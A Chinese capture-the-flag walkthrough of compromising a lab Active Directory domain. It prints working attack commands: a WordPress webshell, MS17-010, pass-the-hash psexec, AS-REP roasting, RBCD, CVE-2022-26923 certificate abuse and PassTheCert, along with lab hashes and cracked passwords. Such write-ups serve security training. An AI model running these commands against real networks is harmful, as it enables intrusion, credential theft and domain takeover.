春秋云镜-网鼎半决赛
先fscan扫一下
就开了个80端口
是wp框架 直接wpscan开扫
并没有发现什么有用的东西 直接去访问后台 /wp-admin
存在弱口令登录 admin/123456
然后在后台处写马 然后访问路径并连接蚁剑
1 | /wp-content/themes/twentytwentyone/404.php |
这里不需要提权 www-data权限就能够访问flag了
这里的话有个点就是这个靶机不开3306端口(或者其他替代3306端口的端口) 导致看到config.php的数据库配置内容 也不能连接数据库
接下来就是扫内网挂代理了
先弹个shell到vps上 不想在蚁剑终端进行操作
信息整理
1 | 172.22.15.26 getshell主机 |
域内一共五台机器
直接去打ms17就行
1 | proxychains4 msfconsole |
这里需要打两次 第一次打会超时 我们得打第二次
hashdump
1 | Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e52d03e9b939997401466a0ec5a9cbc::: |
psexec连上去(因为这里的meterpreter不能进入shell………………….) 也可以直接读取flag
1 | proxychains4 python3 psexec.py -hashes :0e52d03e9b939997401466a0ec5a9cbc xiaorang.lab/administrator@172.22.15.24 -codec gbk |
然后rdp上去 看看有什么东西
直接新建有个用户上去的话会报错 (修复方法 方法一 方法二 )
1 | net user Ke1nys qwer1234! /add |
看到有个小皮 并且之前扫出来他有个页面
去翻之前的信息的话还发现其开了3306端口 然后去查看www下的源码
发现其还有个数据库管理后台 直接小皮看密码 然后登录
发现用户 直接以csv格式导出 然后execl打开并把用户名那一列单独拿出来跑 AS-REP Roasting
1 | proxychains python3 GetNPUsers.py xiaorang.lab/ -dc-ip 172.22.15.13 -usersfile user.txt -request |
爆出两个session_key 直接hashcat破解
1 | $krb5asrep$23$lixiuying@XIAORANG.LAB:013bd18856b9a83c5c5d8744b23468a4$6060145fa7ee7522bf8b8cd88215f2375ffaed5e78a5ed25764856be6e69ebc4c43c441d3d81df811cb4d8b9f5369e98f33904c5e40b133b6afb63742624cdd14f3d83bb1026c850b2d57364f4fe4b564ddfa2cf8d9db1cd5a613101d6855c090fb785ee900e661833636e558d37e88aebb6153b45a8d5abc05fb12af52fc44fbed031bccd9740e42c021469f4bfddc8194de2e36450baf9848f5799f8b4f487705c50c2def3a20b4515aab06884711d94e126d8fc666d3256dbe7f74651d6f077d5095913364f38903324d1a33bcc343f0b0bb10c06a3cee9c196ff0419aef1e149e4c4dea501ad34b20154 |
1 | hashcat -m 18200 1.txt -a 0 ./rockyou.txt --force |
另一个同理
1 | lixiuying:winniethepooh |
用crackmapexec跑一下 看看情况
1 | proxychains4 crackmapexec smb 172.22.15.0/24 -u lixiuying -p winniethepooh -d xiaorang.lab |
这里不直接跑rdp的原因时太乱了 根本跑不出来 直接就smb也差不多
能rdp成功 直接跑一下sharphound
1 | proxychains bloodhound-python -u lixiuying -p winniethepooh -d xiaorang.lab -c all -ns 172.22.15.13 --zip --dns-tcp |
然后分析域内环境 (主要时对我们刚刚获取到的两个用户进行分析 看看有没有什么特俗的权限)
这里时发现了lixiuying这个用户对XR-0687这台机器具有genericwrite
权限 直接RBCD开打
1 | proxychains python3 addcomputer.py xiaorang.lab/lixiuying:'winniethepooh' -dc-ip 172.22.15.13 -dc-host xiaorang.lab -computer-name 'TEST$' -computer-pass 'P@ssw0rd' |
拿下第三个flag
这里的话就剩最后有个CA靶机和域控了
1 | 172.22.15.18 XR-CA.xiaorang.lab (poc-yaml-active-directory-certsrv-detect) |
用certify扫一下 看看有没有模板漏洞
1 | proxychains certipy-ad find -u 'lixiuying@xiaorang.lab' -p 'winniethepooh' -dc-ip 172.22.15.13 -vulnerable -stdout |
找到ESC8这个漏洞 但是这个漏洞的话打起来有点麻烦 我们就想去尝试去看看CVE-2022–26923这个洞能不能打
https://forum.butian.net/share/1578 这篇文章很详细的分析了这个漏洞
能创建成功 说明存在这个漏洞 然后接着往下打就行
申请证书模板
1 | proxychains certipy-ad req -u 'TEST2$@xiaorang.lab' -p 'P@ssw0rd' -ca 'xiaorang-XR-CA-CA' -target 172.22.15.18 -template 'Machine' |
(这里申请的证书能打域控的原因就是这里修改了dns-host-name为域控)
这也是造成这个CVE的原因
申请TGT
1 | proxychains certipy-ad auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13 |
报错了 这个报错和我之前打shadow credentials
的时候报错是一模一样的
https://whoamianony.top/posts/pass-the-certificate-when-pkinit-is-nosupp/ 这位师傅解决了这个问题
大致就是 AD 默认支持两种协议的证书身份验证: Kerberos PKINIT 协议和 Schannel
这里的话报错是因为域控制器没有安装用于智能卡身份验证的证书(例如,使用 “域控制器” 或 “域控制器身份验证” 模板)、用户密码已过期或提供了错误的密码时,可能会出现此问题。
所以可以尝试 Schannel
即通过 Schannel 将证书传递到 LDAPS, 修改 LDAP 配置 (例如配置 RBCD / DCSync), 进而获得域控权限
工具地址 https://github.com/AlmondOffSec/PassTheCert
先用whoami测试是否可行
1 | 在测试之前 记得先将xr-dc01.pfx 转为user.crt 和 user.key |
接下直接打域控的rbcd就完事了
1 | proxychains python3 passthecert.py -action write_rbcd -crt user.crt -key user.key -domain xiaorang.lab -dc-ip 172.22.15.13 -delegate-to 'XR-DC01$' -delegate-from 'TEST2$' |
申请TGS’
1 | proxychains python3 getST.pyn xiaorang.lab/'TEST2$':'P@ssw0rd' -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13 |
无密码连接
1 | proxychains python3 psexec.py Administrator@XR-DC01.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13 |